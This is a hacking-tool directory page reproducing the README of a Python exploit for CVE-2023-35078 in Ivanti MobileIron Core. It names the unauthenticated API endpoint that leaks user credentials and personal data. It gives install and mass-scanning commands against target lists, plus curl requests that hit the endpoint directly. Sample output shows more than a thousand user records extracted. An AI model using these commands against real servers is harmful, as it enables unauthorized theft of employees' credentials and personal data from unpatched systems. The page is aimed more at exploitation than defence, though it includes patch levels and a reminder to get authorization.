Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-35078 — CVE-2023-35078 - Ivanti MobileIron Core Remote Unauthenticated API Access Exploit tool | Kitploit
Tools/GitHubGitHub/0nsec/cve-2023-35078
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHub0nsec/cve-2023-35078

CVE-2023-35078

CVE-2023-35078 - Ivanti MobileIron Core Remote Unauthenticated API Access Exploit tool

View Repository
1501 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-35078 Exploit Tool

root@kitploit:~
██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[+] CVE-2023-35078 - Ivanti MobileIron Core Remote Unauthenticated API Access

Python Version License CVSS Last Updated

A Python-based proof-of-concept exploit for CVE-2023-35078, targeting the Remote Unauthenticated API Access vulnerability in Ivanti MobileIron Core systems.

Vulnerability Overview

CVE-2023-35078 is a critical vulnerability affecting Ivanti MobileIron Core that allows remote unauthenticated attackers to access sensitive API endpoints and extract user data without any authentication.

  • CVSS Score: 9.8 (Critical)
  • CWE: CWE-306 (Missing Authentication for Critical Function)
  • Affected Products: Ivanti MobileIron Core
  • Vulnerable Versions:
    • 11.2 (prior to 11.2 CU21)
    • 11.3 (prior to 11.3 CU18)
    • 11.4 (prior to 11.4 CU8)
  • Attack Vector: Network
  • Authentication: None Required
  • User Interaction: None Required
  • Impact: Complete user data exposure

Technical Details

The vulnerability exists in the MobileIron Core's API authentication mechanism, specifically in the /mifs/aad/api/v2/authorized/users endpoint. The endpoint fails to properly validate authentication tokens, allowing unauthorized access to sensitive user information including:

  • User Credentials: Usernames, password hashes
  • Personal Data: Full names, email addresses, phone numbers
  • Corporate Data: Employee IDs, department information
  • Device Information: Enrolled devices, device configurations
  • Administrative Data: User roles, permissions, group memberships

Installation

Prerequisites

  • Python: 3.6 or higher
  • Operating System: Linux, macOS, Windows
  • Network Access: Required for target testing
  • Permissions: Authorization from system owners

Quick Install

root@kitploit:~
# Clone the repository
git clone https://github.com/0nsec/cve-2023-35078-exploit.git
cd cve-2023-35078-exploit

# Install dependencies
pip3 install -r requirements.txt

# Make executable (Linux/macOS)
chmod +x cve_2023_35078.py

Manual Installation

root@kitploit:~
# Create project directory
mkdir cve-2023-35078-exploit
cd cve-2023-35078-exploit

# Download the script
wget https://raw.githubusercontent.com/0nsec/cve-2023-35078-exploit/main/cve_2023_35078.py

# Install required packages
pip3 install requests urllib3 termcolor argparse

Docker Installation (Optional)

root@kitploit:~
FROM python:3.9-slim

WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt

COPY cve_2023_35078.py .
ENTRYPOINT ["python3", "cve_2023_35078.py"]
root@kitploit:~
# Build and run with Docker
docker build -t cve-2023-35078 .
docker run -v $(pwd)/results:/app/results cve-2023-35078 -u https://target.com

Usage

Basic Usage

root@kitploit:~
# Test single target
python3 cve_2023_35078.py -u https://mobileiron.example.com

# Test multiple targets from file
python3 cve_2023_35078.py -f targets.txt

# Verbose mode with custom output directory
python3 cve_2023_35078.py -f targets.txt -o ./results -v

# Custom timeout and output settings
python3 cve_2023_35078.py -u https://target.com -t 30 -o ./scan_results -v

Advanced Usage Examples

root@kitploit:~
# Comprehensive corporate assessment
python3 cve_2023_35078.py -f corporate_assets.txt -o ./audit_results -t 30 -v

# Single target with detailed logging
python3 cve_2023_35078.py -u https://mobileiron.target.com -v > detailed_log.txt

# Batch scanning with custom timeout
python3 cve_2023_35078.py -f subnet_scan.txt -t 5 -o ./batch_results

# Quick vulnerability check (no verbose output)
python3 cve_2023_35078.py -u https://quick.check.com -t 5

Output

root@kitploit:~
██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[*] Target: https://vulnerable.mobileiron.com
------------------------------------------------------------
[*] Checking version for: https://vulnerable.mobileiron.com
[*] Detected version: 11.3
[+] Target appears VULNERABLE!
[*] Attempting to exploit: https://vulnerable.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[+] SUCCESS! Found 1,247 users
[+] Results saved to: ./results/vulnerable_mobileiron_com_20250821_055013.json
[+] Extracted 1247 user records
[*] Sample fields: ['id', 'username', 'email', 'firstName', 'lastName']...

============================================================
[*] Scan completed!
[*] Targets processed: 1
[*] Successful exploits: 1
[!] WARNING: 1 vulnerable system(s) found!
[!] Ensure proper authorization before testing!

Verbose Output

root@kitploit:~
[*] Checking version for: https://test.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[*] HTTP 200 - Response length: 45,123 bytes
[*] JSON parsing successful
[*] Found user data structure with 234 records
[+] SUCCESS! Found 234 users
[*] Sample user data: {'id': '12345', 'username': '[email protected]'}
[+] Results saved to: ./results/test_mobileiron_com_20250821_055013.json

Performance Optimizations

  • Connection Pooling: Reuses HTTP connections
  • Concurrent Requests: Parallel processing for multiple targets
  • Smart Timeouts: Adaptive timeout based on response times
  • Memory Management: Efficient handling of large datasets
  • Rate Limiting: Built-in delays to avoid overwhelming targets

Vendor Patch Information

Patch Verification

root@kitploit:~
# Check current version
curl -k https://mobileiron-server/mifs/css/ui.login.css | grep -o "11\.[0-9]"

# Verify patched endpoints return 401/403
curl -k "https://mobileiron-server/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"

References and Resources

Official Security Advisories

  • NVD - CVE-2023-35078
  • Ivanti Security Advisory
  • CISA Known Exploited Vulnerabilities

Technical Documentation

  • Ivanti MobileIron Core Admin Guide
  • API Documentation
  • Security Hardening Guide

Research Papers and Analysis

  • Detailed Technical Analysis
  • Exploitation Techniques
  • Threat Intelligence Report
Download Tool
VersionVulnerablePatch AvailablePatch LevelRelease Date
11.2.xYesAvailableCU21+2023-07-25
11.3.xYesAvailableCU18+2023-07-25
11.4.xYesAvailableCU8+2023-07-25
11.5.x+NoN/AN/AN/A